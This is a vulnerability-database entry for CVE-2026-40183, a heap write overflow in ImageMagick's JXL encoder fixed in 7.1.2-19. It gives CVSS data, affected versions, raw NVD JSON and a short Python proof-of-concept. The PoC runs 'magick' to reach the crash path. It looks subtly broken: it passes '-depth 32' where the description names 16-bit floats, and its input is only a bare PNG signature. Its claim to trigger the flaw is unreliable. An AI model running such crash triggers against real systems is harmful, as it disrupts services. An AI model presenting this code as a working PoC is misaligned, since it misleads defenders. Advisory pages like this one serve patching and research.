Security Vulnerability Report
中文
CVE-2026-40183 CVSS 5.5 MEDIUM

CVE-2026-40183

Published: 2026-04-13 22:16:30
Last Modified: 2026-04-17 20:44:34

Description

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below 7.1.2-19, the JXL encoder has an heap write overflow when a user specifies that the image should be encoded as 16 bit floats. This issue has been fixed in version 7.1.2-19.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
ImageMagick < 7.1.2-19

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40183 # This script demonstrates triggering the heap overflow in ImageMagick # by forcing the JXL encoder to use 16-bit float encoding. import subprocess import os # Create a dummy input file if not exists input_file = 'test.png' if not os.path.exists(input_file): with open(input_file, 'wb') as f: f.write(b'\x89PNG\r\n\x1a\n') # Minimal PNG header try: # The -depth parameter combined with JXL output triggers the vulnerable code path # Versions < 7.1.2-19 are vulnerable to heap write overflow here result = subprocess.run( ['magick', input_file, '-depth', '32', 'output.jxl'], capture_output=True, text=True, timeout=5 ) print("Exit Code:", result.returncode) print("Stderr:", result.stderr) except subprocess.TimeoutExpired: print("Process hung/timed out (possible crash)") except Exception as e: print(f"Exception occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40183", "sourceIdentifier": "[email protected]", "published": "2026-04-13T22:16:29.643", "lastModified": "2026-04-17T20:44:34.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below 7.1.2-19, the JXL encoder has an heap write overflow when a user specifies that the image should be encoded as 16 bit floats. This issue has been fixed in version 7.1.2-19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-19", "matchCriteriaId": "AAB93A09-7FA3-4F61-9DB8-EF5B1382E7EE"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-jvgr-9ph5-m8v4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}